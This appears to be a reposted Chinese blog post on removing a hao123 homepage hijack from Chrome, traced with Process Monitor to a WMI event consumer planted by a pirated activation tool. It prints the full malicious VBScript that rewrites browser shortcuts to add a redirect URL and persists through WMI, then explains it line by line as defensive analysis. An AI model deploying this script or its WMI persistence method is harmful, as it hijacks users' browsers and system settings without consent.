解决hao123劫持chrome主页问题

原文链接  :  http://xinghao.me/2016/03/01/2016-03-01-kill-hao123/


前言

最近帮别人激活系统,就下了一个小马激活软件,在电脑上打开了一下,确认能正常运行之后,就给别人发过去了。

本以为没什么事了,过了一段时间之后,像往常一样打开chrome,弹出的不是熟悉的Google主页,而是hao123,那种心情,就是参考文章1中形容的一样,“跟吃了苍蝇一样恶心”。折腾了很久,最后总算是解决了这个问题了。

原因分析

首先检查了一下chrome的主页设置,发现没有问题,依然是原来的google.com。

然后到chrome的安装目录,直接双击打开chrome程序,没有问题。

然后检查快捷方式。因为我把chrome固定到任务栏上,一般使用的时候都是点击任务栏图标的,而实际上这只是一个快捷方式。右键任务栏chrome图标->右键Google Chrome->属性,就会弹出该快捷方式的属性窗口。发现快捷方式的目标链接已经被修改,多加了一个启动参数:

1
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" http://hao.169x.cn/?v=108

而这个网址,打开之后就会重定向到hao123.com。

原因找出来了,出现主页被胁持的原因是系统里所有跟chrome有关的快捷方式都被修改,加了一个启动参数导致每次被启动时候都会跳转到这个网址。除了任务栏快捷方式之外,开始菜单中跟chrome有关的所有快捷方式都无一幸免。

修复尝试

定位出这个原因之后,结合网上的一些方法,进行了很多的尝试,最后也没有彻底解决:

  • 手动删掉所有快捷方式中的启动参数。这个方法治标不治本,本来以为这样可以解决了,结果隔了一段时间,或者重启系统之后,所有快捷方式又会被恶意修改。

  • 尝试了一下参考文章2的方法,但是找不到文中所说的注册表项和隐藏文件。

  • 在注册表中搜索所有跟hao123相关的内容,然后删除,但是问题仍然存在。

  • 用Everything搜索本地所有跟hao123相关的文件和文件夹,但是删除之后仍然没有解决问题。

  • 最后找到了参考文章1的方法,但是在WMI event viewer中找不到文中所说的_EventFilter:Name=”unown_filter”

  • 重装chrome,但是一段时间之后恶心的hao123又回来了

  • 把所有chrome快捷方式设为只读,但是发现一段时间之后还是被恶意修改了

解决方法

经过这些头痛的尝试之后,决定先一步一步定位出原因,首先是要看一下到底是什么程序修改了chrome快捷方式。下载Process Monitor,菜单栏Filter->filter,在弹出的窗口中,把chrome的快捷方式路径添加到监视中:

注意这时候不要对chrome进行任何操作,包括打开、右键等等,以免造成干扰。监视一段时间之后,就会发现元凶露出了真面目:

就是这个叫scrcons.exe的程序在修改chrome快捷方式。

这时候发现定位出来的原因跟这篇文章中的原因是一样的,于是再次按照文中所说的方法,用WMI Event Viewer查看WMI事件。但仍然没有在root/subscription里面找到可疑项,最后几番查找,终于在root\CIMV2里面揪出了真凶。
首先打开WMI Event Viewer,点击左上角工具栏中的Register for Events按钮,默认就会连接到root\CIMV2,直接点确定即可。

然后在Consumer in root\CIMV2 -> _EventConsumer -> ActiveScriptEventConsumer下,找到了可疑项。

双击ActiveScriptEventConsumer.Name=”VBScriptKids_consumer”,弹出属性页面:

就会发现chrome快捷方式被修改的元凶 — ScriptText:

1
On Error Resume Next:Const link = "http://hao.169x.cn/?v=108":Const link360 = "http://hao.169x.cn/?v=108&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\chenxh\Desktop,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\chenxh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:

这个脚本定期就会被系统调用一次,所以就算手动把快捷方式的参数清空,隔一段时间之后又会重新被改回来。

这也是很多流氓软件的常用招数,具体可以参考利用WMI打造完美“三无”后门。

恶意脚本分析

上面的VB脚本用冒号作为分隔符,把一段程序写成了一个语句,为了便于理解,把这段脚本重新排版了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
On Error Resume Next
Const link = "http://hao.169x.cn/?v=108"
Const link360 = "http://hao.169x.cn/?v=108&s=3"
browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"

lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\chenxh\Desktop,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\chenxh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"

browsersArr = split(browsers,",")
Set oDic = CreateObject("scripting.dictionary")

For Each browser In browsersArr
  oDic.Add LCase(browser), browser
Next
  lnkpathsArr = split(lnkpaths,",")

  Set oFolders = CreateObject("scripting.dictionary")
  For Each lnkpath In lnkpathsArr
    oFolders.Add lnkpath, lnkpath
  Next
    Set fso = CreateObject("Scripting.Filesystemobject")
    Set WshShell = CreateObject("Wscript.Shell")
    For Each oFolder In oFolders
      If fso.FolderExists(oFolder) Then
        For Each file In fso.GetFolder(oFolder).Files
          If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
            Set oShellLink = WshShell.CreateShortcut(file.Path)
            path = oShellLink.TargetPath
            name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
            If oDic.Exists(LCase(name)) Then
              If LCase(name) = LCase("360se.exe") Then
                oShellLink.Arguments = link360
              Else
                oShellLink.Arguments = link
              End If
              If file.Attributes And 1 Then
                file.Attributes = file.Attributes - 1
              End If
              oShellLink.Save
            End If
          End If
       Next
      End If
    Next

可以看到,这段脚本就是遍历所有快捷方式目录(linkpaths)下的所有浏览器(browsers)的快捷方式,然后重新给快捷方式加上启动参数。

至此,飞到嘴里的这只臭苍蝇总算是吐出来了。这也教育我们,要支持正版系统和软件啊!!(正经脸)

张嘴谨慎点,自然不会有苍蝇飞进去了。

参考

[1] 如何手工去除http://www.2345.com/?kunown恶意链接!

[2] hao123、hao.qquu8.com劫持IE、Chrome浏览器被的解决办法

[3] 利用WMI打造完美“三无”后门


你可能感兴趣的:(解决hao123劫持chrome主页问题)